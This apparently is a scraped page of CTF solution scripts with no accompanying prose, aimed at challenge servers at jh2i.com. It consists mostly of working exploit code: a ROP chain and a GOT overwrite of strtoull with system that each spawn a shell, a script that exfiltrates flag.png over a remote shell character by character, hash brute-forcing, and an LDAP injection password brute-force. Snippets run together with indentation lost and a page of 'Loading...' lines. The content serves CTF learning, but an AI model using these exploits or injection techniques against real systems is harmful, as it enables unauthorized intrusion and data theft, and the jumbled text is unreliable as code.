Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
from pwn import *
NUM_TO_RET = 0x100 + 8
padding = b'A' * NUM_TO_RET
e = ELF("./sad")
poprax = 0x000000000043f8d7
poprdi = 0x000000000040187a
poprsi = 0x0000000000407aae
poprdx = 0x000000000040177f
syscall = 0x000000000040eda4
binsh = next(e.search(b"/bin/sh\x00"))
# Build execve rop chain
payload = flat(poprdi,binsh,poprsi,0,poprdx,0,poprax,0x3b,syscall,word_size=64)
p = e.process() if args.LOCAL else remote('jh2i.com', 50002)
p.recvline()
p.sendline(padding + payload)
p.interactive()no commentstruct account {
unsigned long uid;
struct expiry * expiration;
char firstname[32];
char lastname[32];
char* comment;
long comment_size;
}
struct expiry {
int day;
int year;
char month[16];
}0x70 chunk
0x20 chunk
0x70 chunk
0x20 chunkaccount chunk
expiry chunk
0xf0 size tcache chunkfrom pwn import *
import time
e = ELF("./bullseye")
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_amd64/libc.so.6")
p = e.process() if args.LOCAL else remote('jh2i.com', 50031)
p.recvlines(2)
def write(addr,value,sleep=False):
output = None
p.recvline()
p.sendline(hex(addr))
p.recvline()
p.sendline(hex(value))
if sleep:
log.info(f"Sleeping...")
time.sleep(0xf)
log.info(F"Finished with sleep")
output = int(p.recvline(),16)
p.recvlines(2)
return output
# Set exit to main to get another leak and call main again for more writes(one write? says WHO)
leak = write(e.got['exit'],e.symbols['main'],sleep=True)
log.info(f"Libc leak: {hex(leak)}")
libc.address = leak - libc.symbols['alarm']
log.info(f"Libc base: {hex(libc.address)}")
# Set sleep to main because we dont need more leaks and its annoying
write(e.got['sleep'],e.symbols['main'])
# Let's start the main exploit process
# Overwrite strtoull with system so whenever it tries to parse input, it'll call system
write(e.got['strtoull'],libc.symbols['system'])
# Now we enter /bin/sh into prompt
p.recvline()
p.sendline("/bin/sh")
p.interactive()assert len(flag) % 16 == 1block\position: 1 2 3
1 e92c6ede25edd6694b4de6f9565624d2 7e4cdcceda0a5284178d43205b448d35 24d20b9d166edb74bb80fa7ddf96d6a7
2 fb1f66cd01ffcc75787bfbd27d4d22cd 771cbab58a7528e774dd255b0b27ed56 36e1038e327cc16888b6e756f48dd0b8
3 f24f00b65180b6161b2b9da92d2e42ae 652fb2a6ae6732fb47eb3870203ceb49 3fb165f56203bb0bebe6812da4eeb0dbe92c6ede25edd6694b4de6f9565624d2 ^ 8f400fb95e8fb919142492a622214da1 = 666c61677b626f705f69745f74776973 = flag{bop_it_twis
fb1f66cd01ffcc75787bfbd27d4d22cd ^ 8f400fb95e8fb919142492a622214da1 = 745f69745f70756c6c5f69745f6c6f6c = t_it_pull_it_lol
f24f00b65180b6161b2b9da92d2e42ae ^ 8f400fb95e8fb919142492a622214da1 = 7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f = }...............def a(n):
b = 0
for i in range(1, n):
if(n % i == 0):
b += i
return b == ncipher = [list of base64decoded stuff]
p = [6,28,496,8128,33550336,8589869056,137438691328,2305843008139952128,2658455991569831744654692615953842176,191561942608236107294793378084303638130997321548169216,13164036458569648337239753460458722910223472318386943117783728128,14474011154664524427946373126085988481573677491474835889066354349131199152128,23562723457267347065789548996709904988477547858392600710143027597506337283178622239730365539602600561360255566462503270175052892578043215543382498428777152427010394496918664028644534128033831439790236838624033171435922356643219703101720713163527487298747400647801939587165936401087419375649057918549492160555646976,141053783706712069063207958086063189881486743514715667838838675999954867742652380114104193329037690251561950568709829327164087724366370087116731268159313652487450652439805877296207297446723295166658228846926807786652870188920867879451478364569313922060370695064736073572378695176473055266826253284886383715072974324463835300053138429460296575143368065570759537328128]
o = ""
for i in range(len(p)):
o += (chr(p[i] ^ cipher[i]))
print(o)from pwn import *
host = ("jh2i.com", 50015)
import string
mapc = {}
r = remote(*host)
def runCmd(cmd):
r.clean()
r.sendline(cmd)
return r.clean(timeout=0.3).split(b"\r\n")[2:8]
for c in string.printable:
mapc[c] = runCmd(f"echo '{c}'")
def lookup(val):
for k, v in mapc.items():
if v == val:
return k
def readOutput(cmd):
template = "expr substr $({}) {} 1"
output = ""
pos = 1
for c in range(1, 9293):
out = runCmd(template.format(cmd, c))
char = lookup(out)
print(char, end='')
output += char
return output
print(readOutput("base64 flag.png -w0"))from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import md5, sha1
methods = {"md5sum":md5, "sha1sum":sha1}
host = ("jh2i.com", 50005)
r = remote(*host)
for x in range(50):
r.recvuntil('Enter the data required for the first part of the ')
method = r.recvuntil(' ')[:-1]
sum = methods[method]
r.recvuntil(': ')
hash = r.recvline().strip()
import string
#chars = string.printable
chars = [chr(c) for c in range(256)]
chars.remove('\r')
chars.remove('\n')
def checkhash(string):
if sum(string).hexdigest().startswith(hash):
return True
return False
print("Goal: " + hash)
print("Method: " + method)
key = mbruteforce(checkhash, chars, 5, method = 'upto')
print(list(key))
r.clean()
r.sendline(key)
print(r.recvline(timeout=0.5))
print(r.clean(timeout=0.5))import os
import re
url = "http://jh2i.com:50011/site/flag.php"
urls = []
while 'sorry' not in url:
data = os.popen(f"curl -Is {url}").read()
url = "http://jh2i.com:50011" + re.findall("Location: (.*)",data)[0]
print(url)
urls.append(url)
print(urls)
flag = ''
for url in urls:
data = os.popen(f"curl {url} 2>/dev/null").read()
if data:
flag += data[-2]
print(flag)import os
def getnext(cur):
code = os.system(f"7z e {cur} >/dev/null")
if code:
print("Extraction error... quitting!")
quit()
files = os.listdir('.')
files.remove(cur)
files.remove("popper.py")
print(files[0])
os.system(f"rm {cur}")
return files[0]
cur = "pop.zip"
while True:
cur = getnext(cur)import requests
import string
import sys
pwchars = string.ascii_lowercase + string.ascii_uppercase + "_- "
template = "http://jh2i.com:50019/?search=administrator)(description="
password = ""
while True:
for c in pwchars:
r = requests.get(template + password + c + "*")
if "Administrator User" in r.text:
password += c
break
print(password + c)
sys.stdout.write("\033[F")